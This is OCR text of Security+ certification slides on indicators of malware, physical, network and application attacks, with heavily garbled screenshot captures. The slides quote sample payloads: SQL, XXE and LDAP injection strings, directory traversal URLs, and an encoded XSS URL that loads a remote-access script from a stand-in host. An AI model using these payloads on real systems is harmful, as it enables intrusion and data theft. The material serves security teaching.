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* Analyze indicators of malicious activity in malware, physical,
network, and application attacks

Security + (701)| SEC+ @




ﬂ_g;sgdn 13 )

Fova,

Topic 13A

P
Malware Attack Security+
Indicators N>

Security + (701)| SEC+ B8]




Malware Classification

* Classification by vector or infection method

* Viruses and worms

. Spread within code without authorization
* Trojans
. A malicious program concealed within a benign one

* Potentially unwanted programs/applications (PUPs/PUAs)

. : Potentially
) ) ) Viruses & Troi Unwanted
. Pre-installed “bloatware” or installed alongside another app Worms el
Programs (PUPs)
. Not completely concealed, but installation may be covert
. Also called grayware

* Classification by payload
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Computer Viruses

* Rely on some sort of host file
or media delivery vector

1

| H  SV:RV: New Order

Ta

. . .
[ ] N O n - re S I d e n t fl I e I n fe Cto r‘ ﬂLm ks and other functionality have been disabled in this message. Ta turn on that functionslity, move this message to the Inbox.

This message was marked a5 spam wsing a junk filter ather than the Outloak Junk Email filter.
‘We converted this message into plain text format,
Qutlook blocked access to the following potentially unsafie attachments: Docy_ 2017082407 095431_PDF jar,

e Memory resident cona g

We have made the payment transfer today as was instructed by your customer,

Please find attached Bank transfer copy FYl.
We sincerely apologize for the delays,

* Boot

Regards

e Script/macro

Please consider the envirenment before printing this email,

» De informatie verzonden met een e-mailbericht is uitsluitend bestemd voor de eerbovengenoemde geadresseerde{n). Het is vertrowsealijk

en auteursrechtelijk beschermd. Indien iemand een bericht onterecht heeft ontvangen, dan wordt diegene vriendelijk verzocht om de

afzender in te lichten en het bericht (en eventuele bijlagen) te verwijderen ronder deze informatie te lezen of op enigerlei wijze op te slaan.

Een juiste en veilige overbrenging van dit e-mailbericht kan niet worden gegarandeerd, -

Screenshot used with permission from Microsoft.
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Computer Worms and Fileless Malware

e Early computer worms
*  Propagate in memory/over network links
*  Consume bandwidth and crash process
* Fileless malware
* Exploiting remote execution and memory residence to deliver payloads
* May run from an initial script or Trojan
e Persistence via the registry
* Use of shellcode to create backdoors and download additional tools

*  “Living off the land” exploitation of built-in scripting tools
» Advanced persistent threat (APT)/advanced volatile threat (AVT)/
M\ A alla a aricti ()
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Spyware, Adware, and Keyloggers

* Tracking cookies, supercookies, and
beacons

e Adware (PUP/bloatware)
* Changes to browser settings
e Spyware (malware)

* Logall local activity

* Use of recording devices and screenshots

* Redirection
* Keylogger

e Software and hardware
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Backdoors and Remote Access Trojans

Backdoor malware » SubSeven v.2.1.5 by mobman P X
T ipfuin: ~| port:(58239 || connect _!' [} 2

Remote access trojan (RAT) [

change port | set default port ‘
Bots and botnets

) set password remove password
server ophions

Command & control (C2 or
C&C)

disconnect victim restart server

remaove sener close server

BadeOOI’S from | update server from local file
misconfiguration and
unauthorized software

update server from URL file

- idle - |ready for action.
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e Local administrator versus SYSTEM/root privileges
* Replace key system files and utilities
e Purge log files

 Firmware rootkits
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Ransomware, Crypto-Malware, and Logic Bombs

* Ransomware
e Nuisance (lock out user by
replacing shell)
* Crypto-malware
* High impact ransomware
(encrypt data files or drives)
e Cryptomining/crypojacking
* Hijack resources to
mine cryptocurrency

Logic bombs

Ooops, your files have been encrypted!

What Happened to My Computer?

Your important files are encrypted.

Many of your decuments, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time, Nobedy can recover your flles without

N our decryption service.

Can | Recover My Files?

Sure. We guarantes that you can recover all your files safely and easily, But you have
not 5o encugh time.

You can decrypt some of your files for free. Try now by clicking <Decrypt>.

p s =r But if you want to decrypt all your files, you need to pay.

You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.

We will have free events for users who are so poor that they couldn’t pay in & months.

How Do I Pay?

Payment is acceptad in Bitcoin only. For more information, click <About bitcoin>.

Please check the current price of Bitcoin and buy some bitcoins. For more information,

click <How to buy bitcoins>.

| And send the correct amount to the address ?peciﬁed im this window,

After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am
A P

A e B e

Se worth of bitcoin to this address:
bitcoin -
Py [12t9YDPgwuezZsNyMgw519p7 AABIsjré SMw

Image by Wikimedia Commons.
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TTPs and loCs

* Signature detection by anti-virus often ineffective
e Tactics, Techniques, and Procedures (TTPs)
* |Indicators of Compromise (loCs)

 Documented and published TTPs and loCs
e  MITRE ATT&CK

e Pattern-matching via artificial intelligence (Al) systems

Security + (701)| SEC+ Hi




Malicious Activity Indicators

* Browser changes or overt ransomware

e+ X7 GaER M| notification
N * Sandbox execution
] / * Resource consumption
A M * File system
“ e  Blocked content
e Resource inaccessibility
S:SEZOAM 3:31:1I0AM B:31:4‘OAM S:SZ:WIOAM £:32:19 AM ¢ Account Compromise
last| 50331 Average 55.366 Minimum 0.000 Maximum | 100.000 Duration | 1:40

Show Color Scale Counter Instance Parent Object Computer

Windows Performance Monitor recording CPU utilization on a client PC. Anomalous .. .
activity is difficult to diagnose, but this graph shows load rarely dropping below 50%. ° Missing and out-of-cycle logging

Continual load is not typical of a client system, and could be an indicator of
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Malware Attack Indicators

* Malware classification
. Vector versus payload
*  Computer viruses
* Computer worms and fileless malware
* Spyware, adware, and keyloggers
* Backdoors and remote access trojans
* Rootkits
* Ransomware, crypto-malware, and logic bombs
e TTPsandIOCs

* Malicious activity indicators

. Resource consumption, file system, resource inaccessibility, account compromise, logging

Security + (701)| SEC+ KE]




ﬂ_g;:)n 1_%,,__“.*)

Topic 13B
Physical and Network
Attack Indicators

CompTlA

Security+

N>

Security + (701)| SEC+ P




Physical Attacks

e Brute force
* Physical denial of service

* Breaking into premises/cabinets

* Environmental

e RFID cloning and skimming
 Radio Frequency ldentification (RFID) and Nearfield Communications (NFC)
* Contactless cards, badges, and fobs

» Static tokens versus cryptoprocessors
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Network Attacks

* Reconnaissance and credential harvesting

* Denial of service

* Weaponization/delivery/breach

 Command and control (C2 or C&C), beaconing, and persistence

e Lateral movement, pivoting, and privilege escalation

Data exfiltration
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Distributed Denial of Service Attacks (1)

* Leverage bandwidth from compromised hosts/networks
 Handlers form a command and control (C&C) network
« Compromised hosts installed with bots that can run automated scripts

 Co-ordinated by the C&C network as a botnet
e Overwhelm with superior bandwidth (number of bots)

* Consume resources with spoof session requests (SYN flood)
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Distributed Denial of Service Attacks (2)

e Reflected attacks

R - NP @

save TZ reset 144

* Spoof victim's IP address and attempt to
open connections with multiple servers

START |2017-05-nz Hzo:oo:oo \ END |zo17-05-02 H 22:59:59 | ute @ TZOFFSETl +00:00

INTERVAL: [EXFER B9 FITERED BY OBJECT: NO  FILTERED BY SENSOR: PRIORITY: B (e (129)

TOP SIGNATURES (401 events) O viewing 10 of 41 results

* Those servers direct their SYN/ACK i -
responses to the victim w me w

1 ET DROP Spamhaus DROP Listed Traffic Inbound group & 2400005

58 1446% 1 1 ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine) 2009358

35 873% /1 ET DROP Spamhaus DROP Listed Traffic Inbound aroup 5 24p0004

. . . 32 7.98% 32 1 ET DROP Spamhaus DROP Listed Traffic Inbound group 7 2400006
A m p I I fl e d a tt a C ks 31 1.73% 11 ET DROP Spamhaus DROP Listed Traffic Inbound group 10 2400009

30 7.48% 00 1 ET DROP Spamhaus DROP Listed Traffic Inbound group 9 2400008

21 5.24% 21 1 ET DROP Spamhaus DROP Listed Traffic Inbound group & 2400007

° B Og u S D N S/N T P q u e ri e S 19 474% 1 1 ET DROP Spamhaus DROP Listed Traffic Inbound group 26 2400025

18 4.49% 1B 1 ET DROP Spamhaus DROP Listed Traffic Inbound group 11 2400010

12 2.99% 12 1 ET DROP Spamhaus DROP Listed Traffic Inbound group 12 2400011

° Di re ct res po nses at Victi m TOP SOURCE IPS o viewing 10 0f 314 resulls TOP DESTINATION IPS o viewing 2 of 2 results

COUNT WTOTAL #SIG #DST P COUNTRY COUNT STOTAL #SIG #SRC P COUNTRY
. B84 20.95% 16 1 192.168.2.192 396 98.75% 39 313 10.1.0.10
* Queries can be constructed to generate e P 2 wmem

1 0.25% 1 1 114.8.151.185

large response packets L e 1 e
1 0.25% 1 1 1148558
1 0.25% 1 1 143.135.246.239
1 0.25% 1 1 116.129.134.220

e DDoS indicators
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On-path Attacks

Threat actor positioned between
two hosts

No. Time Source Destination Protocol Length Info
6 10.022521400 Microsof_Ol:ca:4a Microsof_0l:ca:76 ARP 42 10.1.
.0325930600 Microsof_01:ca:da Microsof_01:ca:77
Microsof _01:ca:4a Microsof_01:ca:76

102 is at 00:15:5d:01

*  “Man-in-the-middle” .
223616200 ‘ Tz T o P I I —
.228797790 ool FEIEI 1702 —~ 80 [ACK] Seq=1 Ack=11

 Can target forwarding/protocols at jj:;jjjg _ ° -

different network layers e B s

Retransmission] 170

e Ad d reSS Reso I utio n P roto CO | (A R P) 13 Fram 9: 66 bytes ﬂ 1re (25 bits), 66 bytEs Cptu red (528 bits) on interface @

- Ethernet II, Src: Microsof _@l:ca:77 (@ @l:ca:77), Dst: Microsof_0l:ca:4a (00:15:5d:01:ca:4a)
f

pOisoning Type: 1Pv4 omaoo)' ' H1oiodi01:ca:77)

» Internet Protocol Version 4, Src: 10.1.0.101, Dst: 180.1.0.2
» Transmission Control Protocol, Src Port: 1782, Dst Port: 80, Seqg: 0, Len: ©

CEREEWEE) 00 15 5d 01 ca 77 08 00 45 00
00 34 1c ca 40 00 80 96 c9 91 Oa Q1 00 65 Qa @1
00 02 06 a6 00 50 dc 52 ee 41 00 0O 00 00 80 @2
ff ff 89 1d 00 00 02 @4 05 b4 01 03 03 08 01 01

* Broadcasting unsolicited ARP
replies to pOison the CaChe Of Iocal @ ¥ Destination Hardh Addi (eth.dst), 6 byt Packets: 286 - Displayed: 286 (100.0%)  Profile: Default
hOStS Wlth SpOOfed MAC add ress Screenshot used with permission from wireshark.org.

e Attacker usually tries to
masqguerade as default gateway
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Domain Name System Attacks

Attacks on public DNS services

* Typosquatting, DRDoS, and hijacking

DNS poisoning

DNS-based on-path attacks

e Get client to use malicious resolver

DNS client cache poisoning

 HOSTS file
* DNS server cache poisoning

 DNS attack indicators
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Wireless Attacks

Intel_50:38:04
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-40
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70 - - .
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UTILIZATION

Seeing client traffic requires Real-Time Packet Analytics, available with
MetaGeek Plus. Learn More

12

Screenshot used with permission from MetaGeek.

/ = W a— \

s & 7 8 9 10 11 12 13

Rogue access points

Non-malicious backdoors

Evil twins masquerade as legitimate
AP

Launch on-path attacks

Indicators and detection

Wireless denial of service

Jamming and disassociation

Wireless replay and key recovery
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Password Attacks

* Online password attack

e Adversary interacts with authentication service
* Offline attacks

e Password database

* Hash transmitted directly

e Hash used as key to sign an HMAC
e Brute force attack
* Dictionary and hybrid attacks

e Password spraying
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Credential Replay Attacks

* Credential dumping against
Windows cached credentials

e Kerberos tickets

e NTLM hashes

* Reversible encryption passwords

* Credential replay against hosts
and applications

e Pass the hash (PtH) against NTLM

e Pass the ticket (PtT) against
Kerberos

Security + (701'5i.SEC+. 23




Cryptographic Attacks

 Downgrade attacks
* Reduce transport encryption version/force use of weak cipher suites

* Use weak cipher suites in Kerberos

e Collision attacks

* Forge digital signatures

* Birthday attacks

* Design more efficient collision attacks
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Malicious Code Indicators

e Shellcode
* Credential dumping

e Lateral movement
* Psexec
* PowerShell code
* Persistence
e Registry keys

e Scheduled tasks
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Physical and Network Attack Indicators

* Physical attacks

. Brute force, environmental, card cloning

 Network attacks

. Reconnaissance, weaponization, C&C, data exfiltration
* Distributed denial of service attacks
* On-path, Domain Name System, and wireless attacks
* Password and credential replay attacks
* Cryptographic attacks

e Malicious code indicators

*  Shellcode, credential dumping, lateral movement/pivoting, persistence
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Application Attacks

» Attacks that target vulnerabilities in application code or
architecture/design

* Privilege escalation

Get privileges from target vulnerable process to run arbitrary code

Remote execution when code is transferred from another machine

* Vertical and horizontal privilege escalation

Detect by process logging and auditing plus automated detection scanning

e Buffer overflow
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Replay Attacks

# BeEF 0540 | Logout

Hooked Browsers
4 {3 Online Browsers
4 (3 dvwa.structureality.com Details Logs Commands Proxy XssRays Network

Getting Started %/ Logs Zombies Current Browser

? B = 7101162 Moduie Tree Module Results History Command results -l

4 {3 Offiine Browsers Search io| date \abel 1 Mon Jul 24 2023 08:30:20 GMT-0500 (Central Daylight Time)
4 ) updates ad.structureality.com = data: cookie=security=low:

9 @ 7101162 4 =5 Browser (58) 0 20?3-07—24 command 1 PHPSESSID_:CZmdsnB\I1Q9mugn6kﬂs79m4
. (- Hooked Domain (0) 09:30 BEEFHOOK=nPk5IfI5ImSTc2LzIvB5tPsGC3vNPkjUBmcUazF
. Apache Tomcat RequestHes
. Detect Foxit Reader
. Detect LastPass
. Detect MIME Types
. Detect QuickTime
_ Detect RealPlayer
. Detect Silverlight
. Detect Toolbars
. Detect Unity Web Player
. Detect Windows Media Playi
. Fingerprint Browser
. Get Cookie
. Get Form Values
_ Get Page HREFs
. Get Page HTML
. Get Page and iframe HTML
. Link Rewrite
_ Link Rewrite (Click Events)
_ Link Rewrite (HTTPS)
_ Link Rewrite (TEL) Re-execute command +|

Basic Requester () Ready

Using The Browser Exploitation Framework (BeEF) to obtain the session cookie from a
browser.

Resubmitting or guessing
authorization tokens

e Session management cookies

Replay cookie to obtain
authenticated session
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Forgery Attacks (1)

* Cookie hijacking and session

prediction

* Client-side/cross-site

(CSRF/XSRF) request forgery

Passes a URL to another site
where the user has an
authenticated session

Confused deputy

Mallory

)::‘Zj;"\i

.

Alice Server

n Alice signs in at ‘

a trusted site
» 7.
>

//

Mallory

%

N - VN7
Mallory sends Alice B % - %

a malicious link

Y

Alice trusts the link and n
clicks it while still logged The link makes a
in to the trusted site malicious request
on the site
] ®
Alice Server

Images © 123rf.com.
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Forgery Attacks (2)

* Server-side Request Forgery
(SSRF)

Front-end
Web Server

é access the database

M

Mallory cannot

server directly

:VEZ -

>Q

Mallory crafts a
malicious request
and submits it to the
front-end server

W V)
7 >
The web server

performs the
malicious request

Back-end
Database
Server

-’ < <« 2
24
Mallory may also
~be able e The database
information from
the internal server server accepts
the request
o o o because it
Mallory Front-end Back-end ~ appearsto
Web Server Database come from the
Server web server

e Cause a server to make API calls
or HTTP requests with arbitrary
parameters

Weak authentication/access
control between internal services

Weak input validation and faults
in request parsing
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Injection Attacks

* Persistent XSS and SQL SELECT * FROM tbl user WHERE
injection usernane = '' or 1=1--#
e Extensible Markup Language
(XML) injection <?xml version="1.0" encoding="UIF-8"?>
XML tagged documents <! DOCTYPE foo [<!ELEMENT foo ANY
_ > ENTITY bar SYSTEM
* XML External Entity (XXE) to "file:///etc/config'> ]>

exfiltrate data and files

<bar>&bar; </ bar>

* Lightweight Directory Access
Protocol (LDAP) injection

 Query language to read and
update network directories (f(&(us ername=Bob) (&)) j
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Directory Traversal and Command Injection Attacks

* Directory traversal
* Obtain access to files outside web site root directory

* Canonicalization attack and percent encoding

* Command injection

e Cause server to run OS shell commands

http://victim foo/?show=../../../../etc/config

http://victim foo/?show=%e%Re%Rf%R2e%2e %2 %e%ReRfRe%2e %2 f
etc/config




URL Analysis

 Uniform Resource Locator
(URL) format

URL for a Trusted Domain
with a Vulnerable Script Percent Encoding

e HTTP methods http://trusted.foo/ %3Cscript%3D%27http%3A%2F%2F

VAR

http:fftrusted. foo/upload.php?post=%3Cscript%3D%27http%3A%2F% 2 Fzyxcha. foo% 2 Frat%2Ejs %2 7% 3EW3C/script¥%3E

. GET, POST, PUT / | / |

upload.php?post= zyxchba.foo%2Frat%2Ejs%27%3E%3C/script%3E
i URL (query para meterS) Query Obfuscated Domain

Hosting Malicious Script

e TCP connections

* Percent encoding
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Web Server Logs

Error log

263.0.113.100 [10:52:38] "GET / HTTP/1.1" 200 1392 "-" "Mozilla/5.8 (X11; Linux x86_64; rv:182.8) Gecko/2810@181 Firsfox/162.8"
283.8.113.100 [18:52:38] "GET /images/icon-email.png HTTP/1.1" 200 747 "http://www.structureality.com/" "Mozilla/5.8..."

203.0.113.100 [19:52:38] "GET /images/icon-receiver.png HTTP/1.1" 208 1383 "http://www.structureality.com/" "Mozilla/5.8..."

Traffic log

263.0.113.100 [10:52:38] "GET /images/structureality-logo-banner.png HTTP/1.1" 200 151731 "http://www.structureality.com/” "Mozilla/5.8..."
203.8.113.100 [18:52:38] "GET /images/icon-post.png HTTP/1.1" 200 1821 "http://www.structureality.com/" "Mozilla/5.8..."

Status codes

263.6.113.188 [18:52:38] "GET /favicon.ico HTTP/1.1" 286 1458 "http://www.structureality.com/” "Mozilla/5.8..."

263.0.113.66 [18:53:84] "GET / HTTP/1.1" 200 2965 "-" "Mozilla/5.88 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)"

HTTP headers

00 —~J ©Ov U1 o —

203.0.113.66 [10:53:85] "GET /cgi.cgi/ HTTP/1.1" 484 494 "-" "Mozilla/5.88 (Nikto/2.1.6) (Evasions:None) (Test:cgi dir check)”

o

263.0.113.66 [10:53:85]) "GET /webcgi/ HTTP/1.1" 484 494 "-" "Mozilla/5.6@ (Nikto/2.1.6) (Evasions:None) (Test:cgi dir check)”

f—
o

203.8.113.66 [10:53:05] "GET /bin/ HTTP/1.1" 484 494 "-" "Mozilla/5.6@ (Nikto/2.1.6) (Evasions:None) (Test:cgi dir check)"

—_—
—_—

293.8.113.66 [10:53:85] "GET /cgi/ HTTP/1.1" 484 494 "-" "Nozilla/5.68 (Nikto/2.1.6) (Evasions:None) (Test:cgi dir check)"

—_—
]

203.0.113.66 [10:53:085]) "GET /robots.txt HTTP/1.1" 484 494 "-" "Mozilla/5.88 (Nikto/2.1.6) (Evasions:None) (Test:robots)"

f—
WS ]

283.8.113.66 [10:53:85] "GET /crossdomain.xml HTTR/1.1" 484 494 "-" "Mozilla/5.88 (Nikto/2.1.6) (Evasions:None) (Test:crossdomain)”

—
o~

203.0.113.66 [10:53:85] "GET / HTTP/1.1" 208 2954 "-" "Mozilla/5.88 (Nikto/2.1.6) (Evasions:None) (Test:origin_reflection)”

Security + (701)| SEC+ Bl




Application Attack Indicators

e Application attacks
* Arbitrary/remote code execution, privilege escalation, buffer overflow
* Replay attacks
e Forgery attacks
e Cross-site and server-side forgery
* |Injection attacks
 SQL, XML, LDAP, directory traversal, command injection
* URL analysis

* Web server logs
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